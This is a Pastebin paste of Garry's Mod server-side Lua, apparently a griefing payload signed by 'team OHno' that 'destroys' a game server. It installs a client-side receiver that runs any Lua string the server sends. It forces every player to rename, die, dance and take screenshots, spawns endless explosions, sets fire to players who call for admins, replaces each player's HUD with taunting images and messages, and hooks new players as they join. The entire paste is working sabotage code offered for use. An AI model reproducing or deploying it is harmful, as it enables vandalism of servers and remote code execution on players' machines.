API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jan 20th, 2019
67
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.03 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "thereaperishere"
  2.  
  3. local DESIRED_NAME = "La Faucheuse Est Là :c"
  4. local lol = {}
  5. function lol:RandomString( intMin, intMax )
  6. local ret = ""
  7. for _ = 1, math.random( intMin, intMax ) do
  8. ret = ret.. string.char( math.random(65, 90) )
  9. end
  10.  
  11. return ret
  12. end
  13.  
  14. lol.m_tblActions = {}
  15. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  16. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  17.  
  18. function lol:PushAction( intChainDelay, func )
  19. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  20. end
  21.  
  22. function lol:NextAction( pPlayer )
  23. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  24. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  25.  
  26. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  27. if not IsValid( pPlayer ) then return end
  28. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  29. self:NextAction( pPlayer )
  30. end )
  31. end
  32.  
  33. function lol:Start( pPlayer )
  34. pPlayer.m_intCurAction = 0
  35. self:NextAction( pPlayer )
  36. end
  37.  
  38. function lol:SendLua( pPlayer, strLua )
  39. net.Start( "thereaperishere" )
  40. net.WriteString( strLua )
  41. net.Send( pPlayer )
  42. end
  43.  
  44. function lol:SetupPlayer( pPlayer )
  45. pPlayer:SendLua( "net.Receive(\"thereaperishere\", function() RunString(net.ReadString()) end)" )
  46. end
  47.  
  48.  
  49. -------START CODE FORT BAN/UNBAN/ETC...
  50.  
  51. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  52.  
  53. -----START LINE CODE FOR DANSE
  54. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  55. -----STOP LINE CODE FOR DANSE
  56.  
  57. ------- STARTCODE FOR FORCE CHANGE NAME
  58. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  59. ------- STOP LINE CODE FOR CHANGE NAME
  60.  
  61. ------- ARMAGEDDON
  62. hook.Add("Think", "armageddon", function()
  63. local explode = ents.Create( "env_explosion" )
  64. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  65. explode:Spawn()
  66. explode:SetKeyValue( "iMagnitude", "500" )
  67. explode:Fire( "Explode", 0, 0 )
  68. end)
  69. ---------
  70.  
  71. --------- GIANT
  72. hook.Add("Think", "giant", function()
  73. for k,v in pairs (player.GetAll()) do
  74. v:SetModelScale(50.5, 100);
  75. v:SetRunSpeed(400 * 2);
  76. v:SetWalkSpeed(200 * 2);
  77. end
  78. end)
  79. ------------------
  80.  
  81. for k,v in pairs(player.GetAll()) do
  82. v:ConCommand("say /ooc Oh, Il semblerais que je me sois fait victimiser par la faucheuse...")
  83. end
  84.  
  85. for k,v in pairs(player.GetAll()) do
  86. v:ConCommand("say /ooc C'est bien dommage que se serveur soit détruit :c")
  87. end
  88.  
  89. for k,v in pairs(player.GetAll()) do
  90. v:ConCommand("kill")
  91. end
  92.  
  93. for k,v in pairs(player.GetAll()) do
  94. v:ConCommand("say /job Victime")
  95. end
  96.  
  97. for k,v in pairs(player.GetAll()) do
  98. v:ConCommand("+right")
  99. end
  100.  
  101. for k,v in pairs(player.GetAll()) do
  102. v:ConCommand("+duck")
  103. end
  104.  
  105. for k,v in pairs(player.GetAll()) do
  106. v:ConCommand("screenshot")
  107. end
  108.  
  109. for k,v in pairs(player.GetAll()) do
  110. v:ConCommand("+jump")
  111. end
  112.  
  113. for k,v in pairs(player.GetAll()) do
  114. v:ConCommand("+moveright")
  115. end
  116.  
  117. for k,v in pairs(player.GetAll()) do
  118. v:ConCommand("say giant")
  119. end
  120.  
  121. for k, v in pairs( player.GetAll() ) do
  122. lol:SetupPlayer( v )
  123. timer.Simple( 2, function() lol:Start( v ) end )
  124. end
  125.  
  126. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  127. lol:SetupPlayer( pPlayer )
  128. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  129. end )
  130.  
  131. hook.Add( "PlayerSay", "admins", function( pSender, strText, bTeamChat )
  132. if strText:sub( 1, 5 ) == "/administrateur" then
  133. pSender:Ignite( 1e9 )
  134. pSender:ChatPrint( "AIDEZ MOI ADMINS :C" )
  135. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  136. return false
  137. end
  138. end )
  139.  
  140. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  141. if strText:sub( 1, 5 ) == "what" then
  142. pSender:Ignite( 1e9 )
  143. pSender:ChatPrint( "CE MONDE EST FINI QUITTER SE MONDE TOUS !" )
  144. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  145. return false
  146. end
  147. end)
  148.  
  149. --Sequence stack
  150. --Start some tunes and steam in our assets
  151. lol:PushAction( 1, function( pPlayer )
  152. lol:SendLua( pPlayer, ([=[
  153. sound.PlayURL( "https://www.youtube.com/watch?v=_Do60jy2fQY", "", function()end )
  154.  
  155. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  156. local html = [[%s]]
  157. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  158. local pnl = vgui.Create( "HTML" )
  159. pnl:SetPos( ScrW() -1, ScrH() -1 )
  160. pnl:SetVisible( true )
  161. pnl:SetMouseInputEnabled( false )
  162. pnl:SetKeyBoardInputEnabled( false )
  163. pnl:SetSize( intSizeX, intSizeY )
  164. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  165.  
  166. local PageLoaded
  167. PageLoaded = function()
  168. local mat = pnl:GetHTMLMaterial()
  169. if mat then
  170. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  171. return
  172. end
  173.  
  174. timer.Simple( 40, PageLoaded )
  175. end
  176.  
  177. PageLoaded()
  178. end
  179.  
  180. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/12/5/1521839363-thereaperhit.png", "getrekt", 1920, 1080 )
  181. ]=]):format(lol.m_strImageLoadHTML) )
  182. end )
  183.  
  184. --HUD swap
  185. lol:PushAction( 1, function( pPlayer )
  186. lol:SendLua( pPlayer, [[
  187. (GAMEMODE or GM).CalcView = function() end
  188. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  189.  
  190. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  191. for k, v in pairs(remove) do
  192. hook.GetTable()[v] = {}
  193. end
  194.  
  195. local function GetWebMat( strURL )
  196. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  197. end
  198.  
  199. hook.Add( "HUDPaint", "newhud", function()
  200. surface.SetDrawColor( 255, 255, 255, 255 )
  201.  
  202.  
  203. if GetWebMat( "getrekt" ) then
  204. surface.SetMaterial( GetWebMat("getrekt")[1] )
  205. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  206. end
  207.  
  208. draw.SimpleTextOutlined(
  209. "THE REAPER UNFORTUNATELY DESTROYED YOUR SERVER :c",
  210. "DermaLarge",
  211. ScrW() /2 +math.random( -8, 8 ),
  212. ScrH() /2 +math.random( -8, 8 ) +1,
  213. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  214. TEXT_ALIGN_CENTER,
  215. TEXT_ALIGN_CENTER,
  216. 1,
  217. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  218. )
  219. end )
  220.  
  221. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  222. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  223.  
  224. surface.PlaySound( "weapons/underwater_explode3.wav" )
  225. surface.PlaySound( "weapons/underwater_explode3.wav" )
  226. surface.PlaySound( "weapons/underwater_explode3.wav" )
  227. surface.PlaySound( "weapons/underwater_explode3.wav" )
  228. surface.PlaySound( "weapons/underwater_explode3.wav" )
  229. surface.PlaySound( "weapons/underwater_explode3.wav" )
  230. surface.PlaySound( "weapons/underwater_explode3.wav" )
  231. surface.PlaySound( "weapons/underwater_explode3.wav" )
  232. surface.PlaySound( "weapons/underwater_explode3.wav" )
  233. surface.PlaySound( "weapons/underwater_explode3.wav" )
  234. surface.PlaySound( "weapons/underwater_explode3.wav" )
  235. surface.PlaySound( "weapons/underwater_explode3.wav" )
  236. surface.PlaySound( "npc/metropolice/vo/restrictedblock.wav" )
  237. ]] )
  238. end )
  239. lol:PushAction( 2, function( pPlayer )
  240. lol:SendLua( pPlayer, [[
  241. (GAMEMODE or GM).CalcView = function() end
  242. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  243.  
  244. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  245. for k, v in pairs(remove) do
  246. hook.GetTable()[v] = {}
  247. end
  248.  
  249. local function GetWebMat( strURL )
  250. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  251. end
  252.  
  253. hook.Add( "HUDPaint", "newhud2", function()
  254. surface.SetDrawColor( 255, 255, 255, 255 )
  255.  
  256.  
  257.  
  258. draw.SimpleTextOutlined(
  259. "Oh mince, ton serveur est en PLS",
  260. "DermaLarge",
  261. ScrW() /2 +math.random( -8, 8 ),
  262. ScrH() /2 +math.random( -8, 8 ) +32,
  263. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  264. TEXT_ALIGN_CENTER,
  265. TEXT_ALIGN_CENTER,
  266. 1,
  267. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  268. )
  269. end )
  270.  
  271. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  272. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  273.  
  274. surface.PlaySound( "weapons/underwater_explode3.wav" )
  275. ]] )
  276. end )
  277.  
  278. lol:PushAction( 4, function( pPlayer )
  279. lol:SendLua( pPlayer, [[
  280. (GAMEMODE or GM).CalcView = function() end
  281. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  282.  
  283. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  284. for k, v in pairs(remove) do
  285. hook.GetTable()[v] = {}
  286. end
  287.  
  288. local function GetWebMat( strURL )
  289. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  290. end
  291.  
  292. hook.Add( "HUDPaint", "newhud2", function()
  293. surface.SetDrawColor( 255, 255, 255, 255 )
  294.  
  295.  
  296.  
  297. draw.SimpleTextOutlined(
  298. "#TEAMOHno",
  299. "DermaLarge",
  300. ScrW() /2 +math.random( -8, 8 ),
  301. ScrH() /2 +math.random( -8, 8 ) +32,
  302. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  303. TEXT_ALIGN_CENTER,
  304. TEXT_ALIGN_CENTER,
  305. 1,
  306. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  307. )
  308. end )
  309.  
  310. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  311. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  312.  
  313. surface.PlaySound( "weapons/underwater_explode3.wav" )
  314. ]] )
  315. end )
  316.  
  317. lol:PushAction( 6, function( pPlayer )
  318. lol:SendLua( pPlayer, [[
  319. (GAMEMODE or GM).CalcView = function() end
  320. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  321.  
  322. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  323. for k, v in pairs(remove) do
  324. hook.GetTable()[v] = {}
  325. end
  326.  
  327. local function GetWebMat( strURL )
  328. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  329. end
  330.  
  331. hook.Add( "HUDPaint", "newhud2", function()
  332. surface.SetDrawColor( 255, 255, 255, 255 )
  333.  
  334.  
  335.  
  336. draw.SimpleTextOutlined(
  337. "La team OHno a détruit ton serveur :D",
  338. "DermaLarge",
  339. ScrW() /2 +math.random( -8, 8 ),
  340. ScrH() /2 +math.random( -8, 8 ) +32,
  341. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  342. TEXT_ALIGN_CENTER,
  343. TEXT_ALIGN_CENTER,
  344. 1,
  345. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  346. )
  347. end )
  348.  
  349. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  350. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  351.  
  352. surface.PlaySound( "weapons/underwater_explode3.wav" )
  353. ]] )
  354. end )
  355.  
  356. lol:PushAction( 8, function( pPlayer )
  357. lol:SendLua( pPlayer, [[
  358. (GAMEMODE or GM).CalcView = function() end
  359. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  360.  
  361. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  362. for k, v in pairs(remove) do
  363. hook.GetTable()[v] = {}
  364. end
  365.  
  366. local function GetWebMat( strURL )
  367. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  368. end
  369.  
  370. hook.Add( "HUDPaint", "newhud2", function()
  371. surface.SetDrawColor( 255, 255, 255, 255 )
  372.  
  373.  
  374.  
  375. draw.SimpleTextOutlined(
  376. "Personne ne peut nous stopper! :P",
  377. "DermaLarge",
  378. ScrW() /2 +math.random( -8, 8 ),
  379. ScrH() /2 +math.random( -8, 8 ) +32,
  380. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  381. TEXT_ALIGN_CENTER,
  382. TEXT_ALIGN_CENTER,
  383. 1,
  384. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  385. )
  386. end )
  387.  
  388. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  389. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  390.  
  391. surface.PlaySound( "weapons/underwater_explode3.wav" )
  392. ]] )
  393. end )
  394.  
  395. --Disco time
  396. lol:PushAction( 10, function( pPlayer )
  397. local idx = pPlayer:EntIndex()
  398. timer.Create( "beat".. idx, 0.42, 0, function()
  399. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  400. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  401. end )
  402.  
  403.  
  404. lol:SendLua( pPlayer, [[
  405. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  406. local time = 0
  407.  
  408. hook.Add( "Think", "wat", function()
  409. if CurTime() < time then
  410. return
  411. end
  412.  
  413. time = CurTime() +0.05
  414. for i = 1, 16 do
  415. local part = emitter:Add(
  416. "particles/balloon_bit",
  417. LocalPlayer():GetPos() +Vector(
  418. math.random( -256, 256 ),
  419. math.random( -256, 256 ),
  420. 256
  421. )
  422. )
  423.  
  424. if part then
  425. local Size = math.random( 4, 7 )
  426.  
  427. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  428. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  429. part:SetDieTime( 4.5 )
  430. part:SetGravity( Vector(40, 0, -250) )
  431. part:SetLifeTime( 0 )
  432. part:SetStartSize( Size /2 )
  433. part:SetEndSize( Size )
  434. part:SetCollide( true )
  435. end
  436. end
  437. end )
  438. ]] )
  439.  
  440. lol:SendLua( pPlayer, [[
  441. hook.Add( "RenderScreenspaceEffects", "wat", function()
  442. local sinScaler = math.sin( CurTime() )
  443. DrawBloom(
  444. 0,
  445. 3,
  446. sinScaler *math.Rand(1, 8),
  447. sinScaler *math.Rand(1, 8),
  448. 6,
  449. math.Rand(0.5, 2),
  450. math.Rand(0, 0.3),
  451. math.Rand(0, 0.3),
  452. math.Rand(0.5, 1)
  453. )
  454.  
  455. DrawColorModify{
  456. ["$pp_colour_addr"] = 1,
  457. ["$pp_colour_addg"] = 0,
  458. ["$pp_colour_addb"] = 0,
  459. ["$pp_colour_brightness" ] = 0,
  460. ["$pp_colour_contrast" ] = 0,
  461. ["$pp_colour_colour" ] = 1,
  462. ["$pp_colour_mulr" ] = 0,
  463. ["$pp_colour_mulg" ] = 0,
  464. ["$pp_colour_mulb" ] = 0
  465. }
  466. end )
  467.  
  468. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  469. ]] )
  470. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!